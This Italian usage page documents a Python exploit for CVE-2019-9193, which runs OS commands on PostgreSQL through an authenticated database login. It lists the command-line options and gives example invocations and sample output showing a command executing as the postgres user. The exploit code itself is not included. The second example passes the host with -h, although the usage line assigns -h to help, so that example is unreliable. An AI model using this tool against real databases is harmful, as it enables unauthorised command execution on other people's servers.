
Script di exploit Python per CVE-2019-9193, che abilita l'esecuzione remota di codice su database PostgreSQL vulnerabili tramite iniezione di comandi autenticata.
uso: CVE-2019-9193.py [-h] [-i [IP]] [-p [PORTA]] [-d [DATABASE]] [-c [COMANDO]] [-t [TIMEOUT]] [-U [UTENTE]] [-P [PASSWORD]]
esempio: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id'
esempio 2 : python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id'
output:
[+] Connessione al Database PostgreSQL su 127.0.0.1:5432 [+] Connessione al Database stabilita [+] Verifica della versione di PostgreSQL [+] PostgreSQL 9.3 è probabilmente vulnerabile [+] Creazione della tabella _30e173ba7fa5577a86b9e9ecfea13360 [+] Comando eseguito
uid=999(postgres) gid=999(postgres) groups=999(postgres),103(ssl-cert)
[+] Eliminazione della tabella _30e173ba7fa5577a86b9e9ecfea13360